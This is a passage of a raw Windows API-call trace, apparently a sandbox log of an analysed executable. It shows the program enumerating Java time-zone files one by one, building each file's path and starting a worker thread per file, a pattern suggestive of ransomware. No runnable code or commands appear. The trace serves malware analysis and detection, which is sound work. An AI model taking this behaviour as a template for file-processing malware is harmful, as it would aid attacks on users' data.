ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dushanbe", cAlternateFileName="")) returned 1 [0177.294] wcscmp (_String1="Dushanbe", _String2=".") returned 1 [0177.294] wcscmp (_String1="Dushanbe", _String2="..") returned 1 [0177.294] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8620 [0177.294] wcscpy (in: _Dest=0x8e8620, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.294] wcscat (in: _Dest=0x8e8620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.294] wcscat (in: _Dest=0x8e8620, _Source="Dushanbe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dushanbe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Dushanbe" [0177.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1704 [0177.295] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gaza", cAlternateFileName="")) returned 1 [0177.295] wcscmp (_String1="Gaza", _String2=".") returned 1 [0177.295] wcscmp (_String1="Gaza", _String2="..") returned 1 [0177.295] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f17c8 [0177.295] wcscpy (in: _Dest=0x8f17c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.295] wcscat (in: _Dest=0x8f17c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.295] wcscat (in: _Dest=0x8f17c8, _Source="Gaza" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Gaza") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Gaza" [0177.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f17c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1840 [0177.296] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Harbin", cAlternateFileName="")) returned 1 [0177.296] wcscmp (_String1="Harbin", _String2=".") returned 1 [0177.296] wcscmp (_String1="Harbin", _String2="..") returned 1 [0177.297] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1218 [0177.297] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.297] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.297] wcscat (in: _Dest=0x8f1218, _Source="Harbin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Harbin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Harbin" [0177.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeac [0177.299] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hebron", cAlternateFileName="")) returned 1 [0177.299] wcscmp (_String1="Hebron", _String2=".") returned 1 [0177.299] wcscmp (_String1="Hebron", _String2="..") returned 1 [0177.299] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f1598 [0177.299] wcscpy (in: _Dest=0x8f1598, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.299] wcscat (in: _Dest=0x8f1598, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.299] wcscat (in: _Dest=0x8f1598, _Source="Hebron" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hebron") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hebron" [0177.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0 [0177.300] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hong_Kong", cAlternateFileName="HONG_K~1")) returned 1 [0177.300] wcscmp (_String1="Hong_Kong", _String2=".") returned 1 [0177.300] wcscmp (_String1="Hong_Kong", _String2="..") returned 1 [0177.300] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8a58 [0177.300] wcscpy (in: _Dest=0x8e8a58, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.300] wcscat (in: _Dest=0x8e8a58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.300] wcscat (in: _Dest=0x8e8a58, _Source="Hong_Kong" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hong_Kong") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hong_Kong" [0177.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8a58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1260 [0177.775] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hovd", cAlternateFileName="")) returned 1 [0177.775] wcscmp (_String1="Hovd", _String2=".") returned 1 [0177.775] wcscmp (_String1="Hovd", _String2="..") returned 1 [0177.775] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1528 [0177.775] wcscpy (in: _Dest=0x8f1528, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0177.823] wcscat (in: _Dest=0x8f1528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0177.823] wcscat (in: _Dest=0x8f1528, _Source="Hovd" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hovd") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Hovd" [0182.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa28 [0182.023] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ho_Chi_Minh", cAlternateFileName="HO_CHI~1")) returned 1 [0182.023] wcscmp (_String1="Ho_Chi_Minh", _String2=".") returned 1 [0182.023] wcscmp (_String1="Ho_Chi_Minh", _String2="..") returned 1 [0182.023] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfd80 [0182.023] wcscpy (in: _Dest=0x8cfd80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.023] wcscat (in: _Dest=0x8cfd80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.023] wcscat (in: _Dest=0x8cfd80, _Source="Ho_Chi_Minh" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ho_Chi_Minh") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Ho_Chi_Minh" [0182.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfd80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0182.024] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Irkutsk", cAlternateFileName="")) returned 1 [0182.024] wcscmp (_String1="Irkutsk", _String2=".") returned 1 [0182.024] wcscmp (_String1="Irkutsk", _String2="..") returned 1 [0182.024] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c620 [0182.024] wcscpy (in: _Dest=0x93c620, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.024] wcscat (in: _Dest=0x93c620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.024] wcscat (in: _Dest=0x93c620, _Source="Irkutsk" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Irkutsk") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Irkutsk" [0182.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa98 [0182.025] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jakarta", cAlternateFileName="")) returned 1 [0182.025] wcscmp (_String1="Jakarta", _String2=".") returned 1 [0182.025] wcscmp (_String1="Jakarta", _String2="..") returned 1 [0182.025] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c878 [0182.025] wcscpy (in: _Dest=0x93c878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.026] wcscat (in: _Dest=0x93c878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.026] wcscat (in: _Dest=0x93c878, _Source="Jakarta" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jakarta") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jakarta" [0182.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0182.027] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jayapura", cAlternateFileName="")) returned 1 [0182.027] wcscmp (_String1="Jayapura", _String2=".") returned 1 [0182.027] wcscmp (_String1="Jayapura", _String2="..") returned 1 [0182.027] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93cad0 [0182.027] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.027] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.027] wcscat (in: _Dest=0x93cad0, _Source="Jayapura" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jayapura") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jayapura" [0182.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0182.028] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jerusalem", cAlternateFileName="JERUSA~1")) returned 1 [0182.028] wcscmp (_String1="Jerusalem", _String2=".") returned 1 [0182.028] wcscmp (_String1="Jerusalem", _String2="..") returned 1 [0182.028] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bdb0 [0182.028] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.028] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.028] wcscat (in: _Dest=0x93bdb0, _Source="Jerusalem" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jerusalem") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Jerusalem" [0182.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bdb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0182.029] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kabul", cAlternateFileName="")) returned 1 [0182.029] wcscmp (_String1="Kabul", _String2=".") returned 1 [0182.029] wcscmp (_String1="Kabul", _String2="..") returned 1 [0182.029] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x66) returned 0x8f1288 [0182.030] wcscpy (in: _Dest=0x8f1288, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.030] wcscat (in: _Dest=0x8f1288, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.030] wcscat (in: _Dest=0x8f1288, _Source="Kabul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kabul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kabul" [0182.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x135c [0182.031] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kamchatka", cAlternateFileName="KAMCHA~1")) returned 1 [0182.031] wcscmp (_String1="Kamchatka", _String2=".") returned 1 [0182.031] wcscmp (_String1="Kamchatka", _String2="..") returned 1 [0182.031] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c260 [0182.031] wcscpy (in: _Dest=0x93c260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.031] wcscat (in: _Dest=0x93c260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.031] wcscat (in: _Dest=0x93c260, _Source="Kamchatka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kamchatka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kamchatka" [0182.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0182.032] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="Karachi", cAlternateFileName="")) returned 1 [0182.032] wcscmp (_String1="Karachi", _String2=".") returned 1 [0182.032] wcscmp (_String1="Karachi", _String2="..") returned 1 [0182.032] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c3c8 [0182.032] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.032] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.032] wcscat (in: _Dest=0x93c3c8, _Source="Karachi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Karachi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Karachi" [0182.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0182.033] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kashgar", cAlternateFileName="")) returned 1 [0182.033] wcscmp (_String1="Kashgar", _String2=".") returned 1 [0182.033] wcscmp (_String1="Kashgar", _String2="..") returned 1 [0182.034] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93cb48 [0182.034] wcscpy (in: _Dest=0x93cb48, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.034] wcscat (in: _Dest=0x93cb48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.034] wcscat (in: _Dest=0x93cb48, _Source="Kashgar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kashgar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kashgar" [0182.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cb48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1554 [0182.035] FindNextFileW (in: hFindFile=0x93ba38, lpFindFileData=0x92c238 | out: lpFindFileData=0x92c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kathmandu", cAlternateFileName="KATHMA~1")) returned 1 [0182.038] wcscmp (_String1="Kathmandu", _String2=".") returned 1 [0182.038] wcscmp (_String1="Kathmandu", _String2="..") returned 1 [0182.038] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93bea0 [0182.039] wcscpy (in: _Dest=0x93bea0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia" [0182.039] wcscat (in: _Dest=0x93bea0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\" [0182.039] wcscat (in: _Dest=0x93bea0, _Source="Kathmandu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Kathmandu" [0182.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1210 [0182.040] FindNextFileW (in: hFindFile=0x93ba38, 